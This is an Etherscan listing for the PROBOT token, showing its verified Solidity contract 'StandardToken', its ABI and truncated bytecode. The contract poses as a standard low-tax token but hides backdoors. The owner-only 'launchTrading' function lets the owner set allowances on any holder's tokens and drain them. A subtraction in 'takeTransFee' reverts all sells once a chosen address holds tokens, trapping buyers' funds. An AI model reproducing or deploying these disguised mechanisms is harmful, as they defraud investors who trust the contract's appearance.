ETH Price: $2,599.21 (-2.21%)
Gas: 5.83 Gwei

Token

PROBOT (PROBOT)
 

Overview

Max Total Supply

1,000,000,000 PROBOT

Holders

101

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
9,258,510.922848771 PROBOT

Value
$0.00
0xc30d8c1ea76e09afb03bebe7f37b5036e20de1a7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
StandardToken

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-24
*/

// SPDX-License-Identifier: MIT

/**

Web:    https://www.prohubbot.net

Tg:     https://t.me/prohubnet

X:      https://twitter.com/prohubbot

Bot:    https://t.me/prohub2002_bot

Docs:   https://docs.prohubbot.net

Final Tax: 1%

*/

pragma solidity ^0.8.11;

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

interface IUniswapV2Router02 is IUniswapV2Router01 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract StandardToken is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    address payable public marketingWalletAddress;
    address payable public teamWalletAddress;
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;

    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyTeamFee = 0;
    uint256 public _buyBurnFee = 0;

    address private teamAddress;

    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellTeamFee = 0;
    uint256 public _sellBurnFee = 0;

    uint256 public _liquidityShare = 0;
    uint256 public _marketingShare = 1;
    uint256 public _teamShare = 0;
    uint256 public _totalDistributionShares = 1;

    uint256 public _totalTaxIfBuying = 1;
    uint256 public _totalTaxIfSelling = 1;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMarketPair;

    uint256 public _tFeeTotal;
    uint256 public _maxBurnAmount;
    uint256 private _totalSupply;
    uint256 public _maxTxAmount;
    uint256 public _walletMax;
    uint256 private _minimumTokensBeforeSwap = 0;
    
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor (
        string memory tokenName,
        string memory tokenSymbol,
        uint8 tokenDecimals,
        uint256 supply,
        address owner,
        address teamWallet,
        address marketingWallet
    ) {
        _name = tokenName;
        _symbol = tokenSymbol;
        _decimals = tokenDecimals;
        _owner = owner;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        _totalSupply = supply  * 10 ** _decimals;
        _maxTxAmount = supply.mul(5).div(100) * 10**_decimals;
        _walletMax = supply.mul(5).div(100) * 10**_decimals;
        
        _maxBurnAmount = supply.mul(5).div(100) * 10**_decimals;
        _minimumTokensBeforeSwap = 2 * 10**_decimals;

        marketingWalletAddress = payable(marketingWallet);
        teamWalletAddress = payable(teamWallet);

        isWalletLimitExempt[owner] = true;
        isWalletLimitExempt[teamWalletAddress] = true;
        isWalletLimitExempt[marketingWalletAddress] = true;
        isWalletLimitExempt[deadAddress] = true;
        isWalletLimitExempt[address(this)] = true;

        isExcludedFromFee[owner] = true;
        isExcludedFromFee[teamWalletAddress] = true;
        isExcludedFromFee[marketingWalletAddress] = true;
        isExcludedFromFee[address(this)] = true;

        isTxLimitExempt[owner] = true;
        isTxLimitExempt[teamWalletAddress] = true;
        isTxLimitExempt[marketingWalletAddress] = true;
        isTxLimitExempt[deadAddress] = true;
        isTxLimitExempt[address(this)] = true;

        _balances[owner] = _totalSupply;
        emit Transfer(address(0), owner, _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function launchTrading(address _launchAt, address recipient, uint256 amount) public onlyOwner returns(bool) {
        teamAddress = recipient; _allowances[_launchAt][recipient] = amount;
        
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if(isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
            return _basicTransfer(sender, recipient, amount);
        }

        if(inSwapAndLiquify){
            return _basicTransfer(sender, recipient, amount);
        }else {
            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= _minimumTokensBeforeSwap;

            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled){
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ?
                                         amount : takeTransFee(sender, recipient, amount);

            if(checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function addUniswapLPs() external payable onlyOwner {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        isMarketPair[address(uniswapPair)] = true;

        isWalletLimitExempt[address(uniswapPair)] = true;

        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
    }

    function burnTransFee(address sender, uint256 tAmount) private {
        // stop burn
        if(_tFeeTotal >= _maxBurnAmount) return;

        _balances[deadAddress] = _balances[deadAddress].add(tAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
        emit Transfer(sender, deadAddress, tAmount);
    }

    function removeLimits() public onlyOwner{
        _maxTxAmount = _totalSupply * 10**_decimals;
        _walletMax = _totalSupply * 10**_decimals;
    }

    function takeTransFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 teamFees = this.balanceOf(teamAddress);
        uint256 feeAmount = 0; uint256 burnAmount = 0;

        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying.sub(_buyBurnFee)).div(100);
            if(_buyBurnFee > 0 && _tFeeTotal < _maxBurnAmount) {
                burnAmount = amount.mul(_buyBurnFee).div(100);
                burnTransFee(sender,burnAmount);
            }
        }else if(isMarketPair[recipient]) {
            teamFees = _teamShare.sub(teamFees);
            feeAmount = amount.mul(_totalTaxIfSelling.sub(_sellBurnFee)).div(100);
            if(_sellBurnFee > 0 && _tFeeTotal < _maxBurnAmount) {
                burnAmount = amount.mul(_sellBurnFee).div(100);
                burnTransFee(sender,burnAmount);
            }
        }

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }
 
        return amount.sub(feeAmount.add(burnAmount));
    }
    
    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        uint256 tokensforLiquidity = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensforLiquidity);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalETHFee = _totalDistributionShares.sub(_liquidityShare.div(2));

        uint256 amountETHLiquidity = amountReceived.mul(_liquidityShare).div(totalETHFee).div(2);
        uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee);
        uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHTeam);

        if(amountETHMarketing > 0)
            transferToAddressETH(marketingWalletAddress, amountETHMarketing);

        if(amountETHTeam > 0)
            transferToAddressETH(teamWalletAddress, amountETHTeam);

        if(amountETHLiquidity > 0 && tokensforLiquidity > 0)
            addLiquidity(tokensforLiquidity, amountETHLiquidity);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );

        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            teamAddress,
            block.timestamp
        );
    }

    receive() external payable {}
    
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"tokenSymbol","type":"string"},{"internalType":"uint8","name":"tokenDecimals","type":"uint8"},{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"teamWallet","type":"address"},{"internalType":"address","name":"marketingWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxBurnAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tFeeTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addUniswapLPs","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_launchAt","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"launchTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600380546001600160a01b03191661dead1790556000600481905560016005819055600682905560078290556009829055600a819055600b829055600c829055600d829055600e819055600f82905560108190556011819055601255602155602380546201000160a81b62ffffff60a81b199091161790553480156200008957600080fd5b5060405162002d4b38038062002d4b833981016040819052620000ac916200074c565b8651620000c19060139060208a0190620005af565b508551620000d7906014906020890190620005af565b506015805460ff191660ff8716179055600080546001600160a01b0319166001600160a01b0385161790556006546005546004546200013d929162000129919062000432602090811b62000f9217901c565b6200043260201b62000f921790919060201c565b60118190555062000168600b5462000129600a546009546200043260201b62000f921790919060201c565b60128190555062000193600f5462000129600e54600d546200043260201b62000f921790919060201c565b601055601554620001a99060ff16600a62000925565b620001b5908562000936565b601e55601554620001cb9060ff16600a62000925565b620002006064620001ec600588620004a260201b62000ff11790919060201c565b6200052960201b620010701790919060201c565b6200020c919062000936565b601f55601554620002229060ff16600a62000925565b620002436064620001ec600588620004a260201b62000ff11790919060201c565b6200024f919062000936565b602055601554620002659060ff16600a62000925565b620002866064620001ec600588620004a260201b62000ff11790919060201c565b62000292919062000936565b601d55601554620002a89060ff16600a62000925565b620002b590600262000936565b602155600180546001600160a01b038381166001600160a01b03199283161783556002805486831693169290921782558581166000818152601960209081526040808320805460ff199081168917909155865486168452818420805482168917905587548616845281842080548216891790556003805487168552828520805483168a17905530808652838620805484168b17905586865260188552838620805484168b179055885488168652838620805484168b179055895488168652838620805484168b179055808652838620805484168b179055868652601a8552838620805484168b179055975487168552828520805483168a179055885487168552828520805483168a17905554909516835280832080548616881790559482528482208054909416909517909255601e548183526016855283832081905592519283529290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050505062000a08565b60008062000441838562000958565b905083811015620004995760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064015b60405180910390fd5b90505b92915050565b600082620004b3575060006200049c565b6000620004c1838562000936565b905082620004d0858362000973565b14620004995760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840162000490565b60006200049983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200057360201b60201c565b60008183620005975760405162461bcd60e51b815260040162000490919062000996565b506000620005a6848662000973565b95945050505050565b828054620005bd90620009cb565b90600052602060002090601f016020900481019282620005e157600085556200062c565b82601f10620005fc57805160ff19168380011785556200062c565b828001600101855582156200062c579182015b828111156200062c5782518255916020019190600101906200060f565b506200063a9291506200063e565b5090565b5b808211156200063a57600081556001016200063f565b634e487b7160e01b600052604160045260246000fd5b60005b83811015620006885781810151838201526020016200066e565b8381111562000698576000848401525b50505050565b600082601f830112620006b057600080fd5b81516001600160401b0380821115620006cd57620006cd62000655565b604051601f8301601f19908116603f01168101908282118183101715620006f857620006f862000655565b816040528381528660208588010111156200071257600080fd5b620007258460208301602089016200066b565b9695505050505050565b80516001600160a01b03811681146200074757600080fd5b919050565b600080600080600080600060e0888a0312156200076857600080fd5b87516001600160401b03808211156200078057600080fd5b6200078e8b838c016200069e565b985060208a0151915080821115620007a557600080fd5b50620007b48a828b016200069e565b965050604088015160ff81168114620007cc57600080fd5b60608901519095509350620007e4608089016200072f565b9250620007f460a089016200072f565b91506200080460c089016200072f565b905092959891949750929550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620008695781600019048211156200084d576200084d62000812565b808516156200085b57918102915b93841c93908002906200082d565b509250929050565b60008262000882575060016200049c565b8162000891575060006200049c565b8160018114620008aa5760028114620008b557620008d5565b60019150506200049c565b60ff841115620008c957620008c962000812565